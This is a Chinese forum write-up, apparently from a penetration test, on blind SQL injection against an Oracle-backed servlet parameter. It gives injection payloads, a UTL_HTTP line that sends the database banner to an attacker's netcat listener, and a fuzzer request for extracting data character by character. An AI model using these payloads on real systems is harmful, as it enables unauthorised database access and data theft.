By:Think
某天做渗透测试时遇到的,记录下来分享下,感谢导师yw的指导。基哥们勿喷!
Author:j0k3m00n
T00LS.NeT
app扫到一inj如下
http://www.xxx.com/Servlet?image=8798
打开后就一幅图,有点像ISCC2011脚本关的最后一题。不同之处在于那个需要验证referer且还有数据回显的地方,这个没有。
用Pangolin webcuriser havij MarathonTool 这些都注不出来,提示无法定义关键字或不是注入点。
手工验证一下,这个看似integer型的注入其实是string的。
' and '1'='1
回显正确
' and '1'='s
回显空白
'and (select count(*) from dual)>0—正常 oracle的库
因为没有数据返回的地方,所以union不行,试用UTL_HTTP存储过程来反弹注入一下。
本机 nc –vvpl 8888
Inj
'and (select count(*) from all_objects where object_name='UTL_HTTP')>0—
正常,HTL_HTTP存在。继续。
Inj
'and UTL_HTTP.request('http://x.x.x.x:8888/'||(select banner fromsys.v_$version where rownum=1))>0—
回显空白,看了下nc任何数据也没收到,估计又是服务器禁止了外连。
好吧,反弹注入是不行的了,看来就只有慢慢盲注了,但这个如果就这样手工慢慢提交下去的话,是个重口的体力活。用HTTP Fuzzer来构造一下。
先用Live HTTP Header随便抓了个GET的包,用来构建Fuzzer里的包。
Oracle的盲注语句这里就不多说了。
判断当前库名
' and (select ascii(substr(sys.database_name,1,1))from dual where rownum=1)>50—
Inj处执行后,回显正常。好,现在来构造下HTTPFuzzer的包
GET /xxx/servlet/Servlet?image=8798%27%20and%20(select%20ascii(substr(sys.database_name,1,1))%20from%20dual%20where%20rownum=1)=${Gen_1}--HTTP/1.1
Accept: */*
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR3.5.30729; .NET4.0C; .NET4.0E)
Host: www.xxx.com
Connection: Keep-Alive
Pragma: no-cache
这里要注意几点:
${Gen_1}为数字型的Generator,范围从60到120(范围自定义)。
${Gen_1}前面用等号,而不用>或<,这样来得更直接。
GET /xxx/servlet/Servlet?image=8798%27%20and%20(select%20ascii(substr(sys.database_name,1,1))%20from%20dual%20where%20rownum=1)=${Gen_1}--HTTP/1.1
这一句在HTTP Fuzzer里必须在同一行,否则会出错。
遇到空格,单引号这些必须要编码,否则会错处。
因为该inj为一张图片,注入语句错误的话回显的是空白,不返回任何数据,意味着利用这点我们不用定义Fuzzer Filters直接观察返回数据包的大小就可以很快找到正确的ascii码。点击start开始。
可以看到,Response size一栏,其他的都是0b,只有Gen_1=71的时候有数据。说明当前数据库名的第一个字母的ascii码值为71。
手工验证如下:
图片回显正常。71正确。
Ok 成功,大大加快了手工盲注的速度。依次改变substr(xxx,1,1)来获得其他数据。后面过程毫无亮点,就恕不多说了。
Ps:像什么延时注入,破解表单等很多事情其实HTTPFuzzer都可以完成,这个就留给大家发散吧。